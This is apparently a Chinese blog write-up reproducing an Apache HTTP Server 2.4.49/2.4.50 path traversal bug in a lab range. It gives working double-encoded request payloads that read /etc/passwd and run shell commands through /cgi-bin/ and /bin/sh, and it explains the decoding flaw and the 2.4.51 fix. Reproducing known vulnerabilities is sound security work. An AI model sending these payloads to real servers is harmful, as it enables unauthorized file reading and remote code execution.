2022年06月29日   温氏效应   63 次浏览   暂无评论  

漏洞概述

Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。运行此版本 Apache 的 Linux 和 Windows 服务器都受到影响。此漏洞是在 2.4.49 中引入的,该补丁旨在提高 URL 验证的性能。可以通过对“.”进行编码来绕过新的验证方法。如果 Apache 网络服务器配置未设置为“要求全部拒绝”,则漏洞利用相对简单。通过对这些字符进行编码并使用有效负载修改 URL,可以实现经典的路径遍历。

影响版本

Apache 2.4.49 和 Apache 2.4.50

漏洞条件

服务器已启动:mods cgicgid

漏洞复现

  1. 启动靶场环境
  2. 打开页面,抓包,并修改请求头:GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1,成功回显路径,说明存在漏洞。
Balloon trip
  1. 因为该漏洞是在CVE-2021-41773修复的基础上,还会造成路径穿越。这时修复了对.%2e的检测。在处理外部HTTP请求时,会调用ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码。这时候我们只需要将../url编码两次就行了。
  2. ap_normalize_path函数调用栈如下,
  1. 在处理前path参数为/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
  2. 经过ap_normalize_path函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
  3. 经过unescape_url函数处理后,可以看到此时的url字符串内容变成/icons/../../../../etc/passwd

补充一下:对于没有进⾏安全配置的Apache服务器,默认情况可以⽤xxx.com/icons/的⽅式打开Apache⽬录下的icons⽂件夹,并且会罗列出⽂件列表。

2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验,如果检测到存在非标准url编码(%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过。

  1. 执行命令查看文件目录:
  1. 请求头添加:GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
  2. 请求体添加:echo;ls /
Balloon trip
  1. 请求体添加:echo;ls /tmp,获得flag
Balloon trip

漏洞修复

升级到最新版的Apache HTTP Server 安全版本。

共有 0 条评论

发表评论